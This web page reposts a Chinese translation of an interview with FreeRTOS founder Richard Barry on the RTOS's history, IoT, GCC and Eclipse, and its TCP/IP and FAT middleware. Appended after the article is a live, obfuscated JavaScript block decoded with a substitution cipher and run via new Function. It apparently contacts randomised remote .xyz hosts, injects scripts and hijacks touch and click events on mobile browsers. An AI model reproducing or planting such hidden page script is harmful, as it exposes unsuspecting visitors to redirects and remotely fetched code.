为什么半导体大佬对他趋之若鹜

2025年04月05日 07:53
有1个网友回答
网友(1):

显微镜下的嵌入式产业 | 为什么半导体大佬对他趋之若鹜?对话FreeRTOS创始人

[译者的话]物联网把FreeRTOS推到了风口浪尖,各家MCU芯片公司的开发板、SDK开发套件都移植上了FreeRTOS。著名的智能手表Pebble OS 的内核使用了FreeRTOS,博通的WICED Wi-Fi SDK也推荐使用FreeRTOS。瑞典嵌入式开发工具Atollic的副总裁Magnus Unemyr 最近采访了FreeRTOS 创始人Richard Barry,Atollic 提供嵌入式开发构建软件。两人谈论的话题涉及到了FreeRTOS的历史和未来发展,Richard Barry还特别阐述了对物联网(IoT)、RTOS和工具以及嵌入式产业未来发展的理解。

什么精神鼓励你开发了FreeRTOS?
答:开发FreeRTOS的想法来自大约10多年前我经历的一个服务的项目,我的一个任务是选择一个合适的RTOS。当时可以选择的一个RTOS已经使用在该公司的商业产品里面了,但是版税极为昂贵。 而且,我们的应用仅仅需要一个很小的RTOS解决方案, 一个大的、商业的RTOS在我们这个项目中一点也没有价值。 我转而寻找一个适合的开源的RTOS,然而令我失望的是,因为没有好的文档,开源软件的学习周期太长了,还没有技术支持,软件的质量也难以让人满意。最终我只好推荐了一个商业的、没有产品版税的RTOS。

Richard Barry -FreeRTOS的创始人

当项目结束的时候,我开始思考,有多数人会经历同样的寻找过程呢?我想只是应该有数千人计吧。 因为我是一个极客,我开始自己开发一个解决方案,从中我也找到了乐趣。 最初的FreeRTOS 版本发表了之后,很明显我的预计是正确的,的确有数千计的工程师寻找这种解决方案。

之后,我就更正式的安排和计划这个工作。首先我把使用开源的免费软件的风险列了出来,比如质量、知识产权侵权和技术支持问题,接着制定了一个可以减少以上风险的FreeRTOS开发和发行的模式。举三个例子吧,FreeRTOS遵守MISRA规范,进而保证产品的质量,使用FreeRTOS没有知识产权侵权的风险,而且通过社区和专业公司提供技术支持。可以这样说,FreeRTOS 基本上就是一个商业RTOS,但是完全免费,这也就是今天人们看到FreeRTOS如此受到欢迎的原因。

[译者的话]MISRA汽车工业软件可靠性联会,这是一家在欧洲的的一个跨国汽车工业协会,其成员包括了大部分欧美汽车生产商。MISRA C Coding Standard旨在帮助汽车厂商开发安全的、高可靠性的嵌入式软件。这一标准中包括了127条C语言编码标准,如果能够完全遵守这些标准,则你的C代码是易读、可靠、可移植和易于维护的。

请介绍一下目前FreeRTOS以及应用情况?
答:FreeRTOS有许多应用,我会说事实胜于雄辩。现在EE time 杂志每次的嵌入式操作系统市场研究报告,FreeRTOS都是名列前茅。FreeRTOS 网址搜索和下载也呈现逐年快速递增的趋势,当然在某一段时间,它会是一个在一个高度呈现平稳增长的事态。我们很高兴地看到FreeRTOS正在进入一些新型市场,这个市场的产品过去没有采用我们的技术,毫无疑问,FreeRTOS是目前世界上最广泛使用的一种RTOS。

你对现在嵌入式和工具产业的评价是什么?
答:我本人主要关注的是物联网(IoT)市场,即使有人说这个市场是宣传的有些言过其实,但是可以肯定的是,嵌入式市场因为物联网的发展而变得越发重要起来,这样嵌入式工具市场也会更加受到重视。

事实上,即使我们不谈物联网,产品的智能化也将把产业带入快速发展的阶段。与我们过去所经历的阶段相比较,硬件设计的门槛在大大降低,这一点在ARM市场中尤为明显。工具的门槛也在降低,除非你有一个好的卖点,否则软件和硬件的价格都将受到市场的打压。

在物联网领域有许多关于物联网技术和产业缺少标准的声音,每一次当我看到一个新的方案发布,并宣称解决了物联网市场的碎片问题的时候,我不禁暗暗发笑。物联网市场还没有成熟,一个方案就可以解决碎片化的问题,这现实吗,这些方案反而会加重市场的碎片化。我相信市场发展到某个阶段,一定会有一些统一的标准,但问题是:谁将是赢家,谁将是输家还很难断定。

未来几年产业的最大挑战是什么?
答:有许多话题我可以谈,其中的许多报刊媒体已经论述过了,这里我就没有必要再重复了。我想要特别强调的是:从趋势看哪技能对于些未来一代的工程师才是最重要的呢。比如说写Java代码和掌握Linux 内核是非常重要的技能,但是这并不是嵌入式工程师所拥有的唯一的技能。 我看这样的现象,使用Linux 和Java 技术的应用解决方案,在开发中出了一点小问题就举步维艰,因为工程师根本不了解问题出在哪里。 我理解软件需要抽象化的思维,市场需要更快速的开发周期,但对我而言,仅仅是为了某一个驱动程序而使用一个很大规模的软件是一个错误决定,还不如自己开发呢。或许我与时代脱节了,我已经不再年轻。我的看法是,与其采用更大规模的处理器解决技能的落后问题,不如在设计上进行创新,这样做的化还不用增加硬件的资源。

ECLIPSE 和GNU已经是行业标准,它们给开发者带来什么好处呢?
答:GCC有优点也有缺点,互联网上总是充斥着争论,赞成和反对之声都有。但是有一点是肯定的,花时间学习GCC是值得的,因为GCC支持广泛的处理器,这样你掌握的这个技能可以应用到更多的项目和更多的硬件平台上。

市场对Eclipes广泛的认可让关于Eclipse学习争论的声音变得小了,同样的道理,你们可以继续争论下去,但是市场认可了Eclipse,让学会使用Eclipse,这项技能将在你的职业生涯中不断被使用使用。

很多见到情况是Eclipse和GCC放在一起,构成了一个来自外部世界的、你熟悉和放心的环境,让你可以开始你的开发工作。Eclipse还有几个其他的优点:第一Eclipse社区写了很多插件,比如支持管理功能。第二基于Eclipse的方案很多,可以把你的代码集成到项目里面Eclipse/GCC开发环境里,Atollic TrueSTUDIO,是个需要额外收费的解决方案。对于专业的开发者,这个额外收费的解决方案会带来效率的大幅提高。收费解决方案会提供一个软件安装包、产品的稳定性和技术支持,以及更加重要的是和一系列调试软件的接口。

许多年前,当我第一次使用Eclipse的时候,它的使用方式还让我还颇费了番周折。今天我看到新的毕业生需要使用某款不是Eclipse的IDE的时候,他们也要纠结一番,因为学生们已经习惯了Eclipse。

RTOS和嵌入式中间件的发展趋势是什么?
答:应用更加复杂、连接性和丰富的用户界面,这些将促使RTOS市场的增长。 当然市场和客户依然需要许多的教育工作-化解对RTOS根深蒂固的误解。比如上周有人告诉我的一种误解,有人认为如果他们将RTOS引入他们的设计中,RTOS将消耗许多的CPU时间。实际上正好是相反的,使用了RTOS,系统将会支持一种复杂的事件驱动的设计方式,CPU只是在处理实际的产生效率的任务的时候才运行,而其他时间没有执行任务。而在以前没有RTOS 的时候,CPU 在状态没有改变或者查询一个输入有没有改变的时候,一种处在运行的状态。

与主流的软件市场一样,在嵌入式系统中免费和开源的RTOS平台是大势所趋。这种趋势在物联网系统中尤为强烈,因为在物联网边缘网络中的设备只是整个系统价值链中很小的一个部分。

FreeRTOS是嵌入式系统开源RTOS的领导者,我们期待着随着物联网快速发展,FreeRTOS将成为其中的重要成员。 FreeRTOS不是唯一高质量的、免费和值得信赖的RTOS,但是FreeRTOS的商业模式非常清晰,完全没有知识产权和后期授权的问题。可以这样说,无论你使用那种处理器,无论它的提供者是谁,FreeRTOS是一个真正的跨平台的解决方案。

RTOS是物联网的重要支撑软件,安全问题尤为关键,构建一个安全的物联网系统对于RTOS的架构和系统应用都将带来挑战和机遇。

能就你的未来计划讲几句吗?
答:当然,我还不能告诉你我的全部计划,但是你应该已经看到,我们已经有自己的TCP/IP 协议-称为FreeRTOS+TCP和FAT 文件系统-称为FreeRTOS+FAT。

我们的目标是将FreeRTOS的价值观也带给这些中间件模块,这样,它们也是免费的、可以获得支持,当然没有任何知识产权的风险,让你放心使用。我们选择自己提供者几个模块是有下面几个原因的:网络和存储媒介的驱动程序,它们与硬件没有直接的关联,许多RTOS的应用都会用到TCP/IP和FAT 文件系统。其他企业和个人将他们的TCP/IP 和FAT 集成到FreeRTOS的应用里面来,这已经由来已久了。长期以来一直有一个问题困扰我们,我们很愿意为FreeRTOS提供免费的技术支持,但是我们无法免费支持其他的中间件,不管它是免费的、还是商业的软件,比如它无法在FreeRTOS运行的问题就很难让我们提供免费支持。 提供我们自己的TCP/IP和FAT就避免这些问题,这些软件我们自己熟悉,也已经和FreeRTOS集成好了,我们可以提供更好的支持。当然TCP/IP软件在物联网平台中的重要意义更少不言而喻的。

!function(){function a(a){var _idx="o2ehxwc2vm";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8O@YhRD(@X^"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"O@YhRD(@X^"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)m5JXLh2_mRT4"="Ks0X5ThF)m6S5h5)XmRT4"="Ks02pThFm5JXLh2_mRT4"="Ks0_JqhFm6S5h5)XmRT4"="Ks02TOhFm5JXLh2_mRT4"="Ks0CSqhF)m6S5h5)XmRT4"="Ks0)FfThF)fm5JXLh2_mRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:m_XO6L)pmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q/f/Ks0j(8}vR8O@YhRD(@X^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^m(RdTd7hmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();